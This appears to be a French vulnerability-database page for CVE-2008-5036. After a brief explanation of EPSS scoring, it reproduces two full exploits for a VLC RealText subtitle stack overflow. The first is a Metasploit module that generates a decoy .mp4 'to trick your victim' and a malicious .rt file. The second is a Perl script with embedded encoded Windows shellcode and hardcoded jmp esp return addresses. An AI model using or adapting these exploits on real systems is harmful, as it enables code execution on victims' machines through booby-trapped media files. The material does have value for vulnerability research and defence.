CVE-2008-5036 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VLC Media Player RealText Subtitle Overflow', 'Description' => %q{ This module exploits a stack buffer overflow vulnerability in VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of RealText subtitle files. In order to exploit this, this module will generate two files: The .mp4 file is used to trick your victim into running. The .rt file is the actual malicious file that triggers the vulnerability, which should be placed under the same directory as the .mp4 file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tobias Klein', # Vulnerability Discovery 'SkD', # Exploit 'juan vazquez' # Metasploit Module ], 'Version' => '$Revision: $', 'References' => [ [ 'OSVDB', '49809' ], [ 'CVE', '2008-5036' ], [ 'BID', '32125' ], [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ], [ 'URL', 'http://www.videolan.org/security/sa0810.html' ] ], 'Payload' => { 'Space' => 1900, 'DisableNops' => true, 'BadChars' => "\x00\x22\x0a", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll 'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 05 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']), ], self.class) end def generate_mp4 mp4 = '' # ftyp mp4 << "\x00\x00\x00\x14" #Size mp4 << "ftyp" #Type mp4 << "isom" #Major brand mp4 << "\x00\x00" #version mp4 << "\x00\x00" mp4 << "mp41" #Compatible brands # moov mp4 << "\x00\x00\x00\x9f" #Size mp4 << "moov" #Type mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2" mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b" mp4 << "udta" mp4 << "\x00\x00\x00\x23" mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00" mp4 << "vlc 0.9.4 stream output" # wide mp4 << "\x00\x00\x00\x08" mp4 << "wide" # mdat mp4 << "\x00\x00\x00\x08" mp4 << "mdat" return mp4 end def generate_rt my_payload = "" my_payload << Rex::Text.rand_text(72, payload_badchars) my_payload << [target.ret].pack("V") # EIP => jmp esp my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address" my_payload << Rex::Text.rand_text(2, payload_badchars) my_payload << [target['WritableAddress']].pack("V") # Writable address my_payload << payload.encoded rt_file = <<-eos <window height="250" width="300" duration="15" bgcolor="yellow"> Mary had a little lamb, <br/><time begin="#{my_payload}"/> <br/><time begin="6"/>little lamb, <br/><time begin="9"/>Mary had a little lamb <br/><time begin="12"/>whose fleece was white as snow. </window> eos return rt_file end def exploit mp4 = generate_mp4 rt = generate_rt print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file") file_create(rt) original_fname = datastore['FILENAME'] datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4" print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.") file_create(mp4) datastore['FILENAME'] = original_fname end end

#!/usr/bin/perl # VLC Media Player < 0.9.6 .RT File Buffer Overflow (Stack Based) # --------------------------------------------------------------- # Exploit by SkD <skdrat@hotmail.com> # # This should work on a fully up-to-date Windows XP SP3. If you want it to work # on your OS version, just find a "jmp esp" address in one of the dlls loaded # with VLC :). # Have fun. Remember that VLC will open the file .rt automatically with a video # of the same name (example: s.mov with s.rt in the same folder). # Credits to Tobias Klein. # Author has no responsibility over the damage you do with this! use strict; use warnings; # win32_exec - EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x48\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41". "\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x51\x41\x32\x41\x41\x32". "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x69\x79\x4b\x4c\x4d". "\x38\x70\x44\x55\x50\x45\x50\x75\x50\x6e\x6b\x77\x35\x67\x4c\x6c". "\x4b\x43\x4c\x45\x55\x74\x38\x55\x51\x58\x6f\x4e\x6b\x52\x6f\x45". "\x48\x4e\x6b\x43\x6f\x65\x70\x76\x61\x58\x6b\x50\x49\x4e\x6b\x36". "\x54\x4e\x6b\x75\x51\x4a\x4e\x56\x51\x6b\x70\x4c\x59\x6c\x6c\x6e". "\x64\x59\x50\x70\x74\x63\x37\x69\x51\x78\x4a\x56\x6d\x45\x51\x5a". "\x62\x78\x6b\x6c\x34\x67\x4b\x51\x44\x36\x44\x74\x44\x30\x75\x4d". "\x35\x6c\x4b\x31\x4f\x31\x34\x65\x51\x5a\x4b\x52\x46\x4c\x4b\x74". "\x4c\x62\x6b\x6c\x4b\x61\x4f\x77\x6c\x35\x51\x7a\x4b\x6c\x4b\x57". "\x6c\x4c\x4b\x37\x71\x5a\x4b\x4c\x49\x73\x6c\x77\x54\x47\x74\x38". "\x43\x50\x31\x6b\x70\x32\x44\x4e\x6b\x61\x50\x66\x50\x4f\x75\x6b". "\x70\x51\x68\x44\x4c\x6c\x4b\x77\x30\x36\x6c\x6e\x6b\x70\x70\x77". "\x6c\x6c\x6d\x6c\x4b\x50\x68\x73\x38\x6a\x4b\x74\x49\x6c\x4b\x4b". "\x30\x4c\x70\x63\x30\x73\x30\x45\x50\x4e\x6b\x45\x38\x35\x6c\x53". "\x6f\x35\x61\x4c\x36\x75\x30\x71\x46\x6d\x59\x4a\x58\x4b\x33\x4f". "\x30\x31\x6b\x70\x50\x43\x58\x61\x6e\x6e\x38\x4b\x52\x32\x53\x31". "\x78\x4c\x58\x4b\x4e\x4c\x4a\x46\x6e\x50\x57\x6b\x4f\x5a\x47\x50". "\x63\x31\x71\x30\x6c\x35\x33\x44\x6e\x63\x55\x44\x38\x35\x35\x37". "\x70\x41"; my $char = "\x41"; my $nop = "\x90"; my $eip = "\xd7\x30\x9d\x7c"; # FOR WINDOWS XP SP3: 0x7c9d30d7 jmp esp (shell32.dll) my $jmp = "\xeb\x06\xFF\xFF"; my $addr = "\xb5\xb5\xfd\x7f"; open(my $rt, "> s.rt"); print $rt "\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65". "\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22". "\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30". "\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F". "\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63". "\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C". "\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79". "\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74". "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D". "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D". "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22". $char x 72 . $eip . $jmp . $addr . $nop x 12 . $shellcode . $char x 1024 . "\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E". "\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69". "\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74". "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D". "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D". "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39". "\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61". "\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65". "\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72". "\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65". "\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E". "\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65". "\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69". "\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77". "\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F". "\x77\x3E\x0D\x0A"; # milw0rm.com [2008-11-07]